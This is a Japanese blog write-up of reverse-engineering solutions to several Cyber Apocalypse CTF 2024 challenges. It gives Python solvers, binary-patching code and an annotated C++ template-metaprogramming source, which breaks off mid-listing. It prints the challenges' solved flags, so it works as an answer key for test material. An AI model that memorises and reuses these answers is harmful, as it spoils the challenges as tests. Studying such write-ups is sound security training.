All Articles

Cyber Apocalypse CTF 2024 Writeup

3/9 から開催されていた Cyber Apocalypse CTF 2024 に 0nePadding で参加して 120 位でした。

凡ミスで時間溶かしてしまったので悔しい回でしたがいつも通り Writeup を書いていきます。

image-20240314225751732

もくじ

BoxCutter(Rev)

You’ve received a supply of valuable food and medicine from a generous sponsor. There’s just one problem - the box is made of solid steel! Luckily, there’s a dumb automated defense robot which you may be able to trick into opening the box for you - it’s programmed to only attack things with the correct label.

問題バイナリとして与えられた ELF ファイルを BinaryNinja でデコンパイルすると以下の結果を得ることができました。

image-20240310131641163

単純にハードコードされたバイト列を XOR すると Flag がでます。

data = b"\x7f\x63\x75\x4c\x43\x45\x03\x54\x06\x59\x50\x68\x43\x5f\x04\x68\x54\x03\x5b\x5b\x02\x4a\x37"
for d in data:
    print(chr(d^0x37),end="")

# HTB{tr4c1ng_th3_c4ll5}

PackedAway(Rev)

To escape the arena’s latest trap, you’ll need to get into a secure vault - and quick! There’s a password prompt waiting for you in front of the door however - can you unpack the password quick and get to safety?

問題バイナリとして与えられた ELF ファイルを表層解析すると UPX バイナリだということがわかりました。

パッキングされた ELF バイナリの問題はちょっと珍しい気がしますね。

image-20240310133222034

upx コマンドでアンパックしようとしましたが、バージョンが古くて失敗しました。

$ upx -d packed -o unpacked
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: packed: CantUnpackException: need a newer version of UPX

Unpacked 0 files.

そこで、以下から最新バージョンの upx をダウンロードしてアンパックしました。

参考:GitHub - upx/upx: UPX - the Ultimate Packer for eXecutables

image-20240310133315305

アンパックしたバイナリに strings をかけると Flag を取得できました。

image-20240310133506576

LootStash(Rev)

A giant stash of powerful weapons and gear have been dropped into the arena - but there’s one item you have in mind. Can you filter through the stack to get to the one thing you really need?

問題バイナリとして与えられたファイルを BinaryNinja でデコンパイルすると以下の結果を得ることができました。

image-20240310134211184

どうもランダムに生成した値と対応する文字列を .data セクションから引っ張ってくるプログラムのようです。

image-20240310134253004

Flag は平文で埋め込まれていたので単純に strings で Flag を取得できました。

image-20240310134147706

Crushing(Rev)

You managed to intercept a message between two event organizers. Unfortunately, it’s been compressed with their proprietary message transfer format. Luckily, they’re gamemakers first and programmers second - can you break their encoding?

問題バイナリの main 関数をデコンパイルした結果は以下の通りでした。

image-20240310142557582

ここでは、memset で確保した 0x7f8 分の領域に対して addchartomap 関数で何らかの操作を行った後、serializeand_output 関数を実行しています。

addcharto_map 関数

この関数には、memset で確保した 0x7f8 分の領域のポインタに加えて、getchar で標準入力から受け取った 1 文字分の値と、イテレータ代わりの整数値が引数として与えられます。

この関数の処理はやや癖がありましたが、以下の実装になっていると思います。

  1. 受け取った char 型の文字を左シフトした値を第 1 引数で受け取ったバイト領域のポインタに加算する
  2. malloc で 0x10 バイト分の領域を確保し、0 番目の要素に i、1 番目の要素に 0 を代入する
  3. [1.] で取得したアドレスが指す値が 0 の場合、[1.] で取得したバイト領域のアドレスに [2.] で作成したバイト領域のポインタをコピーする
  4. [1.] で取得したアドレスが指す値が 0 ではない場合、アドレスを 1 つずつずらしていって 0 が格納されているアドレスが見つかったら、そのアドレスに [2.] で作成したバイト領域のポインタをコピーする

image-20240310143018412

例えば abc という入力が与えられた場合、はじめは a(0x61)i=0 によって (0x61<<3) + 0 = 0x308 + 0 を buf のポインタに加算したアドレスの値が unk に格納されます。

unk の値は 0 なので、1 文字目では buf+0x308 のアドレスに i=0 が格納されます。

2 文字目は b(0x62) なので、unk に格納される値は buf+0x310 のアドレスの値です。

以上のように異なる文字が入力された場合の操作はわかりやすいですが、少しややこしいのは同じ文字が入力された場合です。

例えば a が複数個入力された場合、最初の 1 文字目のインデックスが格納されているアドレスは、 buf+0x308 の領域に格納されます。

2 文字目の場合は、buf+0x308 に格納されたポインタが指すアドレスの次の 8 バイトのアドレスに 2 文字目のインデックスが格納されているアドレスが格納されます。

3 文字目以降も、このように階層的にアドレスが格納されていきます。

serializeandoutput 関数

入力文字と対応するインデックスのマッピングが完了したら、最後に serializeandoutput 関数が呼び出されます。

この関数では ASCII 文字のマッピング領域を走査し、fwrite で 8 バイトずつ値を書き込みしていきます。

image-20240310162837792

最初の行では、特定の ASCII 文字と対応するオフセットを取得しています。

void* rax_4 = ((char*)map + (((int64_t)i) << 3));

次のコードでは、対応するマッピング領域を探索し、いくつの値が書き込まれているかを整数値で取得します。

int64_t buf = list_len(rax_4);

そして、格納されている文字数を 8 バイト単位で書き込みます。

最後の以下のコードでは、マッピング領域に格納されているインデックスを取得して 8 バイトごとに書き込んでいきます。

for (void* buf_1 = *(uint64_t*)rax_4; buf_1 != 0; buf_1 = *(uint64_t*)  ((char*)buf_1 + 8))
{
	fwrite(buf_1, 8, 1, __TMC_END__);
}

つまり、listlen の領域の直後には、listlen で取得した要素数 * 8 バイトの領域が連なっていきます。

Solve

ここまでの情報と、問題バイナリとして与えられている message.txt.cz から Solver を作成します。

with open("message.txt.cz","rb") as f:
    mapped_data = f.read()

seek_index = 0
flag = ["" for i in range(1000)]

for i in range(0xfe):
    bytes_data = int.from_bytes(mapped_data[seek_index:seek_index+8],'little')
    seek_index += 8

    if bytes_data > 0:
        for j in range(bytes_data):
            index = int.from_bytes(mapped_data[seek_index:seek_index+8],'little')
            flag[index] = chr(i)
            seek_index += 8        

print("".join(flag))

これで圧縮されたファイルから元のテキストを展開すると、以下のようなチャットのログが復元でき、Flag を取得できました。

image-20240310175932041

FollowThePath(Rev)

A dark tunnel has been placed in the arena. Within it is a powerful cache of weapons, but reaching them won’t be easy. You must navigate the depths, barely able to see the ground beyond your feet…

問題バイナリとして与えられたファイルを BinaryNinja でデコンパイルした結果は以下の通りでした。

main 関数のコードが途中で破損していることがわかります。

image-20240310181623208

もう少し詳しく解析してみると、main 関数では初めに入力値の 1 文字目が H であるかを確認した後、0x39 バイト分のコード領域を 0xde というキーで XOR デコードしているようでした。

試しにこのコード部分を XOR したものに置き換えてみると、入力値の 2 文字目が T であるかを検証した後にさらに以降のコード領域を復号する処理が続いていました。

image-20240310182934790

image-20240310183501884

手っ取り早く動的解析で解読しようかと思いましたが、アンチデバッグ機構がモリモリだったのと明らかに想定解ではなさそうでしたのでデバッガを使うのは早々に諦めました。

続けてスクリプティングで Flag を取得しようとしましたが、実装に手こずったので最終的に手動でバイナリを復元しました。(とても疲れた)

最終的に以下のコードで Flag の検証箇所を完全に復元したバイナリを生成しました。

with open("chall.exe","rb") as f:
    data = bytearray(f.read())

for i in range(0x39):
    data[0x439+i] = data[0x439+i] ^ 0xde
    data[0x472+i] = data[0x472+i] ^ 0xeb
    data[0x4ab+i] = data[0x4ab+i] ^ 0x62
    data[0x4e4+i] = data[0x4e4+i] ^ 0x94
    data[0x51d+i] = data[0x51d+i] ^ 0x36
    data[0x556+i] = data[0x556+i] ^ 0xc9
    data[0x58f+i] = data[0x58f+i] ^ 0x95
    data[0x5c8+i] = data[0x5c8+i] ^ 0x1c
    data[0x601+i] = data[0x601+i] ^ 0x53
    data[0x63a+i] = data[0x63a+i] ^ 0xa6
    data[0x673+i] = data[0x673+i] ^ 0x3
    data[0x6ac+i] = data[0x6ac+i] ^ 0xe3
    data[0x6e5+i] = data[0x6e5+i] ^ 0xff
    data[0x71e+i] = data[0x71e+i] ^ 0xc8
    data[0x757+i] = data[0x757+i] ^ 0x80
    data[0x790+i] = data[0x790+i] ^ 0xb0
    data[0x7c9+i] = data[0x7c9+i] ^ 0x3e
    data[0x802+i] = data[0x802+i] ^ 0xc
    data[0x83b+i] = data[0x83b+i] ^ 0xd5
    data[0x874+i] = data[0x874+i] ^ 0xc
    data[0x8ad+i] = data[0x8ad+i] ^ 0x75
    data[0x8e6+i] = data[0x8e6+i] ^ 0xb0
    data[0x91f+i] = data[0x91f+i] ^ 0x23
    data[0x958+i] = data[0x958+i] ^ 0xdb
    data[0x991+i] = data[0x991+i] ^ 0xd7
    data[0x9ca+i] = data[0x9ca+i] ^ 0xc1
    data[0xa03+i] = data[0xa03+i] ^ 0x98
    data[0xa3c+i] = data[0xa3c+i] ^ 0x17
    data[0xa75+i] = data[0xa75+i] ^ 0x8b
    data[0xaae+i] = data[0xaae+i] ^ 0x95
    data[0xae7+i] = data[0xae7+i] ^ 0x22
    data[0xb20+i] = data[0xb20+i] ^ 0xa1
    data[0xb59+i] = data[0xb59+i] ^ 0xf2
    # (next_w ^ 4) == 0x5b (_)
    data[0xb92+i] = data[0xb92+i] ^ 0x3c
    data[0xbcb+i] = data[0xbcb+i] ^ 0x46
    data[0xc04+i] = data[0xc04+i] ^ 0xd2
    data[0xc3d+i] = data[0xc3d+i] ^ 0xf
    data[0xc76+i] = data[0xc76+i] ^ 0x6
    data[0xcaf+i] = data[0xcaf+i] ^ 0x5b
    data[0xce8+i] = data[0xce8+i] ^ 0xd9
    data[0xd21+i] = data[0xd21+i] ^ 0xc4

with open("patched.exe", "wb") as f:
    f.write(data)

これをデコンパイルして Flag の検証箇所を抽出すると、HTB{s3lF_d3CRYpt10N-1s_k1nd4_c00l_i5nt_1t} が正しい Flag になることを特定できました。

QuickScan(Rev)

In order to escape this alive, you must carefully observe and analyze your opponents. Learn every strategy and technique in their arsenal, and you stand a chance of outwitting them. Just do it fast, before they do the same to you…

問題バイナリは与えられず、nc で接続するリモートサーバのアドレス情報のみが渡されます。

このサーバーにアクセスしてみると、小さな ELF ファイルを Base64 エンコードしたテキストが表示され、ランダムなバイト列の入力を求められます。

どうやら、128 個のバイナリを 60 秒以内にすべて解析し、そのバイナリ内に埋め込まれているバイト列を回答する必要があるようでした。

実際に回答となるバイト列は、Base64 デコードした ELF ファイルの以下の箇所でアクセスしているアドレスが該当します。

image-20240311223822654

ディスアセンブル結果は以下の通りでした。

image-20240311223834227

始めは pwntool の ELF モジュールを使って全バイナリをディスアセンブルし、回答となるバイト列を取得する Solver を作成しましたが、どうやら pwntool の ELF モジュールにファイルをロードさせるオーバーヘッドが大きすぎるせいで、60 秒以内に 128 個のバイナリを解析しきることができませんでした。

そこで、Base64 デコードしたデータをファイルとして保存することはせず、そのままメモリ上のデータからバイト列を取得するための ELF パーサを実装し、以下の Solver を作成しました。

from pwn import *
import base64
import binascii
import struct

CONTEXT = "error"
context.log_level = CONTEXT

server_address = "94.237.63.46"
server_port = 34606
conn = remote(server_address, server_port)

for i in range(129):
    response = conn.recvline_startswith(b"ELF")
    base64_binary = response.decode()[6:]
    binary_data = base64.b64decode(base64_binary)

    # with open("second_binary","rb") as f:
    #     binary_data = f.read()

    entry = binary_data.find(b"\x48\x83\xec\x18\x48\x8d\x35")
    target = struct.unpack('<i',binary_data[entry+7:entry+11])[0] + (entry+11)
    print(hex(target))
    print(binary_data[target:target+0x18])
    binary = binascii.b2a_hex(binary_data[target:target+0x18])
    print(binary)

    conn.recvuntil(b"Bytes? ")
    conn.sendline(binary)
    print(i)

conn.interactive()
conn.close()

これを実行すると、時間内にすべてのバイナリを解析することができ、正しい Flag を取得できました。

image-20240311223750061

Metagaming(Rev)

You come across an enemy faction, who have banded together and gathered their resources. You’ll need to outwit them, thinking outside the box - can you beat them before they even begin to run?

C++ 20 の Template Metaprogramming という仕組みを利用する問題でした。

これはどうやら、コンパイル時の状態を設定して任意の処理を実行させることができる仕組みのようです。

参考:Revisiting Stateful Metaprogramming in C++20 | Reece’s Pages

このようなコードはコンパイル時に評価されバイナリとしてはコンパイルされないため、デバッグが非常に難しいという性質があるようです。

問題バイナリとして与えられたソースコードに一部注釈コメントを追加したものは以下の通りです。

// Use MSVC or `g++ -std=c++20`

#include <cstdint>
#include <array>
#include <iostream>
#include <numeric>
#include <type_traits>
#include <algorithm>
#include <variant>

#ifndef __noop
#define __noop
#endif

// constexpr はコンパイル時に関数を評価し、コンパイル時定数として使用するための記法
constexpr uint32_t rotr(const uint32_t value, const int shift) {
    return std::rotr(value, shift);
}

constexpr uint32_t rotl(const uint32_t value, const int shift) {
    return std::rotl(value, shift);
}


// std::is_same の手動実装
// static_assert(is_same_v<int, int>, "Types are not the same."); // コンパイル成功
// static_assert(is_same_v<int, float>, "Types are not the same."); // コンパイルエラー

// 2 つの型が異なる場合は False を返す
template<class, class> constexpr bool is_same_v = false;
// 2 つの型が同じ型の場合は True を返す
template<class Ty> constexpr bool is_same_v<Ty, Ty> = true;


// テンプレートメタプログラミングで審議地を使用するための定義
struct true_t {};
struct false_t {};

// bool_t という concept を定義している
// bool_t コンセプトは、指定された型 Ty が true_t または false_t と同じかどうかをチェック
template<class Ty> concept bool_t = is_same_v<Ty, true_t> || is_same_v<Ty, false_t>;

// テンプレートパラメータ <bool Val> に基づき、型エイリアス T を定義する
// Val が false の時、T は false_t となり、true の場合は true_t になる
template<bool Val> 
struct to_bool {
    using T = false_t;
};
template<>
struct to_bool<true> {
    using T = true_t;
};

// to_bool_t は、to_bool テンプレートから T 型を直接取り出すエイリアステンプレート(false_t または true_t を得る)
template<bool Val> using to_bool_t = typename to_bool<Val>::T;

// Ty が true_t に等しいかどうかを検証する
template<bool_t Ty> constexpr bool from_bool_v = is_same_v<Ty, true_t>;

// コンパイル時定数として、任意の文字を返す value 関数を含む char_value_t を定義する
// constexpr auto ch = char_value_t<'A'>::value();
// static_assert(ch == 'A', "The character must be A");
template<char C>
struct char_value_t {
    [[nodiscard]] constexpr static char value() {
        return C;
    }
};

// char_value_t を使用して、各文字をコンパイル時定数として表現している
struct a : char_value_t<'a'> {};
struct b : char_value_t<'b'> {};
struct c : char_value_t<'c'> {};
struct d : char_value_t<'d'> {};
struct e : char_value_t<'e'> {};
struct f : char_value_t<'f'> {};
struct g : char_value_t<'g'> {};
struct h : char_value_t<'h'> {};
struct i : char_value_t<'i'> {};
struct j : char_value_t<'j'> {};
struct k : char_value_t<'k'> {};
struct l : char_value_t<'l'> {};
struct m : char_value_t<'m'> {};
struct n : char_value_t<'n'> {};
struct o : char_value_t<'o'> {};
struct p : char_value_t<'p'> {};
struct q : char_value_t<'q'> {};
struct r : char_value_t<'r'> {};
struct s : char_value_t<'s'> {};
struct t : char_value_t<'t'> {};
struct u : char_value_t<'u'> {};
struct v : char_value_t<'v'> {};
struct w : char_value_t<'w'> {};
struct x : char_value_t<'x'> {};
struct y : char_value_t<'y'> {};
struct z : char_value_t<'z'> {};
struct A : char_value_t<'A'> {};
struct B : char_value_t<'B'> {};
struct C : char_value_t<'C'> {};
struct D : char_value_t<'D'> {};
struct E : char_value_t<'E'> {};
struct F : char_value_t<'F'> {};
struct G : char_value_t<'G'> {};
struct H : char_value_t<'H'> {};
struct I : char_value_t<'I'> {};
struct J : char_value_t<'J'> {};
struct K : char_value_t<'K'> {};
struct L : char_value_t<'L'> {};
struct M : char_value_t<'M'> {};
struct N : char_value_t<'N'> {};
struct O : char_value_t<'O'> {};
struct P : char_value_t<'P'> {};
struct Q : char_value_t<'Q'> {};
struct R : char_value_t<'R'> {};
struct S : char_value_t<'S'> {};
struct T : char_value_t<'T'> {};
struct U : char_value_t<'U'> {};
struct V : char_value_t<'V'> {};
struct W : char_value_t<'W'> {};
struct X : char_value_t<'X'> {};
struct Y : char_value_t<'Y'> {};
struct Z : char_value_t<'Z'> {};
struct num_1 : char_value_t<'1'> {};
struct num_2 : char_value_t<'2'> {};
struct num_3 : char_value_t<'3'> {};
struct num_4 : char_value_t<'4'> {};
struct num_5 : char_value_t<'5'> {};
struct num_6 : char_value_t<'6'> {};
struct num_7 : char_value_t<'7'> {};
struct num_8 : char_value_t<'8'> {};
struct num_9 : char_value_t<'9'> {};
struct num_0 : char_value_t<'0'> {};
// SOMEWHAT SPECIAL CHARACTERS
struct bracket_open : char_value_t<'{'> {};
struct bracket_close : char_value_t<'}'> {};
struct underscore : char_value_t<'_'> {};


// 型 Ty が、リスト内のいずれかと一致するかをチェックするコンセプトを定義している
// std::disjunction_v<std::is_same<Ty, Types>...> は OR 評価を行う
// つまり、Ty がリストに 1 つ以上含まれていれば、is_any_of_t は true になる
template<class Ty, class... Types> concept is_any_of_t = std::disjunction_v<std::is_same<Ty, Types>...>;

// any_legit_char_t は Ty がこの文字種のいずれかに該当するかを調べることができる
template<typename Ty> 
concept any_legit_char_t = is_any_of_t<Ty, a, b, c, d, e, f, g, h, i, j, k, l, m, n,
                                       o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D,
                                       E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T,
                                       U, V, W, X, Y, Z, num_1, num_2, num_3, num_4, num_5,
                                       num_6, num_7, num_8, num_9, num_0, bracket_open,
                                       bracket_close, underscore>;

// size() は flag_t に格納されている values の数を返却する(sizeof)
// at は、values_values に values を展開したのち、指定のインデックスで取得した 値を返却する
template<class... values>
struct flag_t {
    [[nodiscard]] static constexpr size_t size() {
        return sizeof...(values);
    }

    template<typename Ty = char>
    [[nodiscard]] static constexpr Ty at(const std::size_t i) {
        constexpr char values_values[] = {values::value()...};
        return static_cast<Ty>(values_values[i]);
    }
};


// コンパイル時に定義した固定サイズの文字列を表す
// constexpr cxstring<6> myString("Hello");
template<size_t Footprint>
struct cxstring {
    char data[Footprint]{};
    [[nodiscard]] constexpr size_t size() const {
        return Footprint - 1;
    }
    constexpr /* implicit */ cxstring(const char (&init)[Footprint]) {// NOLINT
        std::copy_n(init, Footprint, data);
    }
};


// コンパイル時に文字列情報を格納する
// 使用例
// 
// constexpr cxstring<6> myStr("Hello");
// using MyStrType = type_string<myStr>;
// 
// auto strData = MyStrType::data(); // "Hello"を返す
// auto strSize = MyStrType::size(); // 5を返す
// template<auto str>
struct type_string {
    [[nodiscard]] static constexpr const char *data() {
        return str.data;
    }
    [[nodiscard]] static constexpr size_t size() {
        return str.size();
    }
};


// 任意の型 P のデフォルトコンストラクタを使用してインスタンスを返す
template<class P> auto parse_flag(P) -> P { return {}; }

// Chr は現在処理中の文字、Rest は残りの文字列、Bs は現在までに処理された文字列
template<char Chr, char... Rest, class... Bs>
auto parse_flag(flag_t<Bs...>) -> decltype(parse_flag<Rest...>(flag_t<Bs..., char_value_t<Chr>>{})) { return {}; }


// constexpr auto myFlag = make_flag([]{ return "Hello, World!"; }, std::make_index_sequence<13>{});
template<class lambda_t, size_t... I>
constexpr auto make_flag(lambda_t lambda [[maybe_unused]], std::index_sequence<I...>) {
    return decltype(parse_flag<lambda()[I]...>(flag_t<>{})){};
}

struct insn_t {
    uint32_t opcode = 0;
    uint32_t op0 = 0;
    uint32_t op1 = 0;
};

template<typename = std::monostate>
concept always_false_v = false;

template<insn_t>
concept always_false_insn_v = false;

template<flag_t Flag, insn_t... Instructions>
struct program_t {
    using R = std::array<uint32_t, 15>;

    template<insn_t Insn>
    static constexpr void execute_one(R &regs) {
        if constexpr (Insn.opcode == 0) {
            regs[Insn.op0] = Flag.at(Insn.op1);
        } else if constexpr (Insn.opcode == 1) {
            regs[Insn.op0] = Insn.op1;
        } else if constexpr (Insn.opcode == 2) {
            regs[Insn.op0] ^= Insn.op1;
        } else if constexpr (Insn.opcode == 3) {
            regs[Insn.op0] ^= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 4) {
            regs[Insn.op0] |= Insn.op1;
        } else if constexpr (Insn.opcode == 5) {
            regs[Insn.op0] |= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 6) {
            regs[Insn.op0] &= Insn.op1;
        } else if constexpr (Insn.opcode == 7) {
            regs[Insn.op0] &= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 8) {
            regs[Insn.op0] += Insn.op1;
        } else if constexpr (Insn.opcode == 9) {
            regs[Insn.op0] += regs[Insn.op1];
        } else if constexpr (Insn.opcode == 10) {
            regs[Insn.op0] -= Insn.op1;
        } else if constexpr (Insn.opcode == 11) {
            regs[Insn.op0] -= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 12) {
            regs[Insn.op0] *= Insn.op1;
        } else if constexpr (Insn.opcode == 13) {
            regs[Insn.op0] *= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 14) {
            __noop;
        } else if constexpr (Insn.opcode == 15) {
            __noop;
            __noop;
        } else if constexpr (Insn.opcode == 16) {
            regs[Insn.op0] = rotr(regs[Insn.op0], Insn.op1);
        } else if constexpr (Insn.opcode == 17) {
            regs[Insn.op0] = rotr(regs[Insn.op0], regs[Insn.op1]);
        } else if constexpr (Insn.opcode == 18) {
            regs[Insn.op0] = rotl(regs[Insn.op0], Insn.op1);
        } else if constexpr (Insn.opcode == 19) {
            regs[Insn.op0] = rotl(regs[Insn.op0], regs[Insn.op1]);
        } else if constexpr (Insn.opcode == 20) {
            regs[Insn.op0] = regs[Insn.op1];
        } else if constexpr (Insn.opcode == 21) {
            regs[Insn.op0] = 0;
        } else if constexpr (Insn.opcode == 22) {
            regs[Insn.op0] >>= Insn.op1;
        } else if constexpr (Insn.opcode == 23) {
            regs[Insn.op0] >>= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 24) {
            regs[Insn.op0] <<= Insn.op1;
        } else if constexpr (Insn.opcode == 25) {
            regs[Insn.op0] <<= regs[Insn.op1];
        } else {
            static_assert(always_false_insn_v<Insn>);
        }
    }

    template<std::size_t... Is>
    static constexpr void execute_impl(R &regs, std::index_sequence<Is...>) {
        (execute_one<Instructions>(regs), ...);
    }

    static constexpr void execute(R &regs) {
        execute_impl(regs, std::make_index_sequence<sizeof...(Instructions)>{});
    }

    static constexpr R registers = []() -> R {
        R arr = {};
        execute(arr);
        return arr;
    }();
};

int main() {
    /// Modify this text              vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
    [[maybe_unused]] auto flag = "HTB{___________________________________}"_flag;
    /// Modify this text              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    static_assert(decltype(flag)::size() == 40);

    using program = program_t<flag, insn_t(12, 13, 10), insn_t(21, 0, 0), insn_t(0, 13, 13), insn_t(0, 14, 0), insn_t(15, 11, 12), insn_t(24, 14, 0), insn_t(5, 0, 14), insn_t(0, 14, 1), insn_t(7, 11, 11), insn_t(24, 14, 8), insn_t(5, 0, 14), insn_t(0, 14, 2), insn_t(2, 10, 11), insn_t(24, 14, 16), insn_t(18, 12, 11), insn_t(5, 0, 14), insn_t(0, 14, 3), insn_t(0, 11, 11), insn_t(24, 14, 24), insn_t(13, 10, 10), insn_t(5, 0, 14), insn_t(2, 11, 13), insn_t(21, 1, 0), insn_t(0, 14, 4), insn_t(24, 14, 0), insn_t(5, 1, 14), insn_t(6, 11, 12), insn_t(0, 14, 5), insn_t(8, 10, 10), insn_t(24, 14, 8), insn_t(11, 12, 11), insn_t(5, 1, 14), insn_t(0, 14, 6), insn_t(0, 12, 10), insn_t(24, 14, 16), insn_t(9, 10, 13), insn_t(5, 1, 14), insn_t(0, 14, 7), insn_t(13, 12, 12), insn_t(24, 14, 24), insn_t(15, 10, 12), insn_t(5, 1, 14), insn_t(21, 2, 0), insn_t(20, 13, 13), insn_t(0, 14, 8), insn_t(24, 14, 0), insn_t(19, 10, 11), insn_t(5, 2, 14), insn_t(6, 12, 10), insn_t(0, 14, 9), insn_t(8, 11, 11), insn_t(24, 14, 8), insn_t(5, 2, 14), insn_t(0, 14, 10), insn_t(4, 11, 12), insn_t(24, 14, 16), insn_t(5, 2, 14), insn_t(0, 14, 11), insn_t(24, 14, 24), insn_t(4, 13, 12), insn_t(5, 2, 14), insn_t(21, 3, 0), insn_t(14, 10, 12), insn_t(0, 14, 12), insn_t(13, 10, 11), insn_t(24, 14, 0), insn_t(16, 10, 10), insn_t(5, 3, 14), insn_t(5, 11, 12), insn_t(0, 14, 13), insn_t(12, 10, 13), insn_t(24, 14, 8), insn_t(2, 10, 13), insn_t(5, 3, 14), insn_t(20, 11, 11), insn_t(0, 14, 14), insn_t(24, 14, 16), insn_t(18, 13, 11), insn_t(5, 3, 14), insn_t(6, 11, 13), insn_t(0, 14, 15), insn_t(24, 14, 24), insn_t(4, 11, 10), insn_t(5, 3, 14), insn_t(21, 4, 0), insn_t(15, 13, 11), insn_t(0, 14, 16), insn_t(6, 10, 10), insn_t(24, 14, 0), insn_t(14, 10, 12), insn_t(5, 4, 14), insn_t(0, 14, 17), insn_t(12, 13, 13), insn_t(24, 14, 8), insn_t(19, 11, 10), insn_t(5, 4, 14), insn_t(0, 14, 18), insn_t(17, 13, 12), insn_t(24, 14, 16), insn_t(5, 4, 14), insn_t(0, 14, 19), insn_t(24, 14, 24), insn_t(21, 12, 10), insn_t(5, 4, 14), insn_t(13, 13, 10), insn_t(21, 5, 0), insn_t(0, 14, 20), insn_t(19, 10, 13), insn_t(24, 14, 0), insn_t(5, 5, 14), insn_t(0, 14, 21), insn_t(24, 14, 8), insn_t(8, 13, 13), insn_t(5, 5, 14), insn_t(0, 14, 22), insn_t(16, 13, 11), insn_t(24, 14, 16), insn_t(10, 10, 13), insn_t(5, 5, 14), insn_t(7, 10, 12), insn_t(0, 14, 23), insn_t(19, 13, 10), insn_t(24, 14, 24), insn_t(5, 5, 14), insn_t(17, 12, 10), insn_t(21, 6, 0), insn_t(16, 11, 10), insn_t(0, 14, 24), insn_t(24, 14, 0), insn_t(10, 11, 10), insn_t(5, 6, 14), insn_t(0, 14, 25), insn_t(24, 14, 8), insn_t(7, 10, 12), insn_t(5, 6, 14), insn_t(0, 14, 26), insn_t(16, 12, 11), insn_t(24, 14, 16), insn_t(3, 11, 10), insn_t(5, 6, 14), insn_t(15, 11, 13), insn_t(0, 14, 27), insn_t(4, 12, 13), insn_t(24, 14, 24), insn_t(5, 6, 14), insn_t(14, 11, 13), insn_t(21, 7, 0), insn_t(0, 14, 28), insn_t(21, 13, 11), insn_t(24, 14, 0), insn_t(7, 12, 11), insn_t(5, 7, 14), insn_t(17, 11, 10), insn_t(0, 14, 29), insn_t(24, 14, 8), insn_t(5, 7, 14), insn_t(0, 14, 30), insn_t(12, 10, 10), insn_t(24, 14, 16), insn_t(5, 7, 14), insn_t(0, 14, 31), insn_t(20, 10, 10), insn_t(24, 14, 24), insn_t(5, 7, 14), insn_t(21, 8, 0), insn_t(18, 10, 12), insn_t(0, 14, 32), insn_t(9, 11, 11), insn_t(24, 14, 0), insn_t(21, 12, 11), insn_t(5, 8, 14), insn_t(0, 14, 33), insn_t(24, 14, 8), insn_t(19, 10, 13), insn_t(5, 8, 14), insn_t(8, 12, 13), insn_t(0, 14, 34), insn_t(24, 14, 16), insn_t(5, 8, 14), insn_t(8, 10, 10), insn_t(0, 14, 35), insn_t(24, 14, 24), insn_t(21, 13, 10), insn_t(5, 8, 14), insn_t(0, 12, 10), insn_t(21, 9, 0), insn_t(0, 14, 36), insn_t(24, 14, 0), insn_t(5, 9, 14), insn_t(17, 11, 11), insn_t(0, 14, 37), insn_t(14, 10, 13), insn_t(24, 14, 8), insn_t(5, 9, 14), insn_t(4, 10, 11), insn_t(0, 14, 38), insn_t(13, 11, 13), insn_t(24, 14, 16), insn_t(5, 9, 14), insn_t(0, 14, 39), insn_t(10, 11, 10), insn_t(24, 14, 24), insn_t(20, 13, 13), insn_t(5, 9, 14), insn_t(6, 12, 11), insn_t(21, 14, 0), insn_t(8, 0, 2769503260), insn_t(10, 0, 997841014), insn_t(19, 12, 11), insn_t(2, 0, 4065997671), insn_t(5, 13, 11), insn_t(8, 0, 690011675), insn_t(15, 11, 11), insn_t(8, 0, 540576667), insn_t(2, 0, 1618285201), insn_t(8, 0, 1123989331), insn_t(8, 0, 1914950564), insn_t(8, 0, 4213669998), insn_t(21, 13, 11), insn_t(8, 0, 1529621790), insn_t(10, 0, 865446746), insn_t(2, 10, 11), insn_t(8, 0, 449019059), insn_t(16, 13, 11), insn_t(8, 0, 906976959), insn_t(6, 10, 10), insn_t(8, 0, 892028723), insn_t(10, 0, 1040131328), insn_t(2, 0, 3854135066), insn_t(2, 0, 4133925041), insn_t(2, 0, 1738396966), insn_t(2, 12, 12), insn_t(8, 0, 550277338), insn_t(10, 0, 1043160697), insn_t(2, 1, 1176768057), insn_t(10, 1, 2368952475), insn_t(8, 12, 11), insn_t(2, 1, 2826144967), insn_t(8, 1, 1275301297), insn_t(10, 1, 2955899422), insn_t(2, 1, 2241699318), insn_t(12, 11, 10), insn_t(8, 1, 537794314), insn_t(11, 13, 10), insn_t(8, 1, 473021534), insn_t(17, 12, 13), insn_t(8, 1, 2381227371), insn_t(10, 1, 3973380876), insn_t(10, 1, 1728990628), insn_t(6, 11, 13), insn_t(8, 1, 2974252696), insn_t(0, 11, 11), insn_t(8, 1, 1912236055), insn_t(2, 1, 3620744853), insn_t(3, 10, 13), insn_t(2, 1, 2628426447), insn_t(11, 13, 12), insn_t(10, 1, 486914414), insn_t(16, 11, 12), insn_t(10, 1, 1187047173), insn_t(14, 12, 11), insn_t(2, 2, 3103274804), insn_t(13, 10, 10), insn_t(8, 2, 3320200805), insn_t(8, 2, 3846589389), insn_t(1, 13, 13), insn_t(2, 2, 2724573159), insn_t(10, 2, 1483327425), insn_t(2, 2, 1957985324), insn_t(14, 13, 12), insn_t(10, 2, 1467602691), insn_t(8, 2, 3142557962), insn_t(2, 13, 12), insn_t(2, 2, 2525769395), insn_t(8, 2, 3681119483), insn_t(8, 12, 11), insn_t(10, 2, 1041439413), insn_t(10, 2, 1042206298), insn_t(2, 2, 527001246), insn_t(20, 10, 13), insn_t(10, 2, 855860613), insn_t(8, 10, 10), insn_t(8, 2, 1865979270), insn_t(1, 13, 10), insn_t(8, 2, 2752636085), insn_t(2, 2, 1389650363), insn_t(10, 2, 2721642985), insn_t(18, 10, 11), insn_t(8, 2, 3276518041), insn_t(15, 10, 10), insn_t(2, 2, 1965130376), insn_t(2, 3, 3557111558), insn_t(2, 3, 3031574352), insn_t(16, 12, 